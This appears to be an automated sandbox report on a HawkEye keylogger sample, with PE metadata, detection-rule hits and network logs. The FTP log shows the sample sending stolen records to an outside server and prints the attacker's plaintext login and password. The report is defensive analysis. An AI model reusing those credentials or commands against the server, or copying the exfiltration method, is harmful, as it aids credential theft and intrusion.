add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13174c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x132000	0x5f6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x134000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x12f7a4	0x12f800	False	0.65637709792	data	6.5816543949	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x132000	0x5f6	0x600	False	0.431640625	data	4.20085481651	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x134000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x1320a0	0x36c	data
RT_MANIFEST	0x13240c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2020
Assembly Version	1.0.0.0
InternalName	TRCoManagementSystem.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	EICANotifications
ProductVersion	1.0.0.0
FileDescription	EICANotifications
OriginalFilename	TRCoManagementSystem.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/10/21-16:48:16.909986	TCP	2020410	ET TROJAN HawkEye Keylogger FTP	49745	21	192.168.2.3	45.141.152.18

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 10, 2021 16:47:03.286838055 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.319209099 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.319341898 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.344588995 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.371298075 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.378534079 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.378568888 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.378587008 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.378601074 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.378699064 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.390443087 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.417469978 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.467937946 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.494936943 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.527563095 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.587394953 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.587471962 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.587511063 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.587548018 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.587591887 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.587672949 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.587713957 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.589498043 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.589549065 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.589603901 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.591752052 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.591803074 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.591831923 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.594002962 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.594033003 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.594094992 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.596246004 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.596271038 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.597017050 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.598578930 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.598612070 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.598648071 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.614294052 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.614326000 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.614408970 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.615329981 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.615350008 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.615407944 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.617686033 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.617705107 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.617768049 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.619887114 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.619906902 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.619961977 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.622170925 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.622189999 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.622253895 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.624443054 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.624466896 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.624515057 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.626682997 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.626708031 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.626768112 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.628974915 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.629003048 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.629056931 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.631133080 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.631156921 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.631222010 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.633013010 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.633019924 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.633088112 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.634911060 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.634943962 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.635001898 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.636804104 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.636831045 CEST	443	49715	142.250.185.196	192.168.2.3
Aug 10, 2021 16:47:03.636898994 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.686708927 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:47:03.772777081 CEST	49715	443	192.168.2.3	142.250.185.196
Aug 10, 2021 16:48:16.707349062 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.726089001 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.726183891 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.748107910 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.749362946 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.767170906 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.767363071 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.767621994 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.819124937 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.819355011 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.837003946 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.837682962 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.855254889 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.855520010 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.873044014 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.873241901 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.890853882 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.891865015 CEST	49746	62025	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.909324884 CEST	62025	49746	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.909648895 CEST	49746	62025	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.909986019 CEST	49745	21	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.927596092 CEST	21	49745	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.928159952 CEST	49746	62025	192.168.2.3	45.141.152.18
Aug 10, 2021 16:48:16.945511103 CEST	62025	49746	45.141.152.18	192.168.2.3
Aug 10, 2021 16:48:16.945641994 CEST	49746	62025	192.168.2.3	45.141.152.18

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 10, 2021 16:46:51.992109060 CEST	50620	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:52.027792931 CEST	53	50620	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:52.786812067 CEST	64938	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:52.819618940 CEST	53	64938	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:53.580915928 CEST	60152	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:53.606440067 CEST	53	60152	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:53.824304104 CEST	57544	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:53.858824015 CEST	53	57544	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:54.412156105 CEST	55984	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:54.446171999 CEST	53	55984	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:55.296931982 CEST	64185	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:55.324888945 CEST	53	64185	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:55.987725019 CEST	65110	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:56.015455961 CEST	53	65110	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:57.095588923 CEST	58361	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:57.123378992 CEST	53	58361	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:57.848203897 CEST	63492	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:57.880265951 CEST	53	63492	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:58.790199041 CEST	60831	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:58.816679955 CEST	53	60831	8.8.8.8	192.168.2.3
Aug 10, 2021 16:46:59.740109921 CEST	60100	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:46:59.768263102 CEST	53	60100	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:00.503175020 CEST	53195	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:00.534950972 CEST	53	53195	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:01.173685074 CEST	50141	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:01.207612038 CEST	53	50141	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:02.121170044 CEST	53023	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:02.156781912 CEST	53	53023	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:02.892385006 CEST	49563	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:02.925177097 CEST	53	49563	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:03.236361980 CEST	51352	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:03.269021034 CEST	53	51352	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:03.596029043 CEST	59349	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:03.629024982 CEST	53	59349	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:03.645652056 CEST	57084	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:03.679981947 CEST	53	57084	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:03.688853979 CEST	58823	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:03.713882923 CEST	53	58823	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:04.500855923 CEST	57568	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:04.538271904 CEST	53	57568	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:05.334511042 CEST	50540	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:05.367644072 CEST	53	50540	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:05.991631985 CEST	54366	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:06.017340899 CEST	53	54366	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:06.736274958 CEST	53034	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:06.764453888 CEST	53	53034	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:24.103511095 CEST	57762	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:24.140403032 CEST	53	57762	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:28.506854057 CEST	55435	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:28.542598009 CEST	53	55435	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:47.617676020 CEST	50713	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:47.650687933 CEST	53	50713	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:48.165157080 CEST	56132	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:48.240035057 CEST	53	56132	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:48.895066977 CEST	58987	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:49.128357887 CEST	53	58987	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:49.561104059 CEST	56579	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:49.597024918 CEST	53	56579	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:49.789418936 CEST	60633	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:49.822038889 CEST	53	60633	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:50.608778000 CEST	61292	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:50.642127991 CEST	53	61292	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:51.540833950 CEST	63619	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:51.576519966 CEST	53	63619	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:52.423635006 CEST	64938	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:52.460983038 CEST	53	64938	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:54.526727915 CEST	61946	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:54.562757015 CEST	53	61946	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:56.360480070 CEST	64910	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:56.399250031 CEST	53	64910	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:57.974577904 CEST	52123	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:58.009871006 CEST	53	52123	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:58.143307924 CEST	56130	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:58.179583073 CEST	53	56130	8.8.8.8	192.168.2.3
Aug 10, 2021 16:47:58.667742968 CEST	56338	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:47:58.702274084 CEST	53	56338	8.8.8.8	192.168.2.3
Aug 10, 2021 16:48:11.134829044 CEST	59420	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:48:11.170924902 CEST	53	59420	8.8.8.8	192.168.2.3
Aug 10, 2021 16:48:16.639065981 CEST	58784	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:48:16.686578035 CEST	53	58784	8.8.8.8	192.168.2.3
Aug 10, 2021 16:48:36.402700901 CEST	63978	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:48:36.506305933 CEST	53	63978	8.8.8.8	192.168.2.3
Aug 10, 2021 16:48:38.583419085 CEST	62938	53	192.168.2.3	8.8.8.8
Aug 10, 2021 16:48:38.617878914 CEST	53	62938	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 10, 2021 16:47:03.236361980 CEST	192.168.2.3	8.8.8.8	0x1c9c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 10, 2021 16:47:58.143307924 CEST	192.168.2.3	8.8.8.8	0x3295	Standard query (0)	90.168.9.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Aug 10, 2021 16:48:16.639065981 CEST	192.168.2.3	8.8.8.8	0xa1a3	Standard query (0)	ftp.badonfashoin.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 10, 2021 16:47:03.269021034 CEST	8.8.8.8	192.168.2.3	0x1c9c	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)
Aug 10, 2021 16:47:58.179583073 CEST	8.8.8.8	192.168.2.3	0x3295	Name error (3)	90.168.9.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Aug 10, 2021 16:48:16.686578035 CEST	8.8.8.8	192.168.2.3	0xa1a3	No error (0)	ftp.badonfashoin.com		45.141.152.18	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Aug 10, 2021 16:47:03.378601074 CEST	142.250.185.196	443	192.168.2.3	49715	CN=www.google.com CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Mon Jul 12 05:48:19 CEST 2021 Thu Aug 13 02:00:42 CEST 2020 Fri Jun 19 02:00:42 CEST 2020	Mon Oct 04 05:48:18 CEST 2021 Thu Sep 30 02:00:42 CEST 2027 Fri Jan 28 01:00:42 CET 2028	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=GTS CA 1C3, O=Google Trust Services LLC, C=US	CN=GTS Root R1, O=Google Trust Services LLC, C=US	Thu Aug 13 02:00:42 CEST 2020	Thu Sep 30 02:00:42 CEST 2027
					CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Fri Jun 19 02:00:42 CEST 2020	Fri Jan 28 01:00:42 CET 2028

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Aug 10, 2021 16:48:16.748107910 CEST	21	49745	45.141.152.18	192.168.2.3	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Aug 10, 2021 16:48:16.749362946 CEST	49745	21	192.168.2.3	45.141.152.18	USER logs@badonfashoin.com
Aug 10, 2021 16:48:16.767363071 CEST	21	49745	45.141.152.18	192.168.2.3	331 User logs@badonfashoin.com OK. Password required
Aug 10, 2021 16:48:16.767621994 CEST	49745	21	192.168.2.3	45.141.152.18	PASS sKsYZiIYQn6y
Aug 10, 2021 16:48:16.819124937 CEST	21	49745	45.141.152.18	192.168.2.3	230 OK. Current restricted directory is /
Aug 10, 2021 16:48:16.837003946 CEST	21	49745	45.141.152.18	192.168.2.3	504 Unknown command
Aug 10, 2021 16:48:16.837682962 CEST	49745	21	192.168.2.3	45.141.152.18	PWD
Aug 10, 2021 16:48:16.855254889 CEST	21	49745	45.141.152.18	192.168.2.3	257 "/" is your current location
Aug 10, 2021 16:48:16.855520010 CEST	49745	21	192.168.2.3	45.141.152.18	TYPE I
Aug 10, 2021 16:48:16.873044014 CEST	21	49745	45.141.152.18	192.168.2.3	200 TYPE is now 8-bit binary
Aug 10, 2021 16:48:16.873241901 CEST	49745	21	192.168.2.3	45.141.152.18	PASV
Aug 10, 2021 16:48:16.890853882 CEST	21	49745	45.141.152.18	192.168.2.3	227 Entering Passive Mode (45,141,152,18,242,73)
Aug 10, 2021 16:48:16.909986019 CEST	49745	21	192.168.2.3	45.141.152.18	STOR HawkEye_Keylogger_Stealer_Records_632922 8.10.2021 4:55:54 PM.txt
Aug 10, 2021 16:48:16.927596092 CEST	21	49745	45.141.152.18	192.168.2.3	150 Accepted data connection
Aug 10, 2021 16:48:16.967284918 CEST	21	49745	45.141.152.18	192.168.2.3	226-File successfully transferred 226-File successfully transferred226 0.040 seconds (measured here), 37.78 Kbytes per second

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: FukQGQj7cl.exe PID: 4792 Parent PID: 5564

General

Start time:	16:47:00
Start date:	10/08/2021
Path:	C:\Users\user\Desktop\FukQGQj7cl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\FukQGQj7cl.exe'
Imagebase:	0xa70000
File size:	1245696 bytes
MD5 hash:	83F58ECF0778E3B0ACCA8497DF23EF23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, Author: Joe Security Rule: Hawkeye, Description: detect HawkEye in memory, Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: InstallUtil.exe PID: 6284 Parent PID: 4792

General

Start time:	16:47:38
Start date:	10/08/2021
Path:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Imagebase:	0xd60000
File size:	41064 bytes
MD5 hash:	EFEC8C379D165E3F33B536739AEE26A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, Author: Joe Security Rule: HKTL_NET_GUID_Stealer, Description: Detects c# red/black-team tools via typelibguid, Source: 00000010.00000002.501178621.00000000084C0000.00000004.00000001.sdmp, Author: Arnim Rupp Rule: HKTL_NET_GUID_Stealer, Description: Detects c# red/black-team tools via typelibguid, Source: 00000010.00000002.501112721.0000000008460000.00000004.00000001.sdmp, Author: Arnim Rupp Rule: RAT_HawkEye, Description: Detects HawkEye RAT, Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, Author: 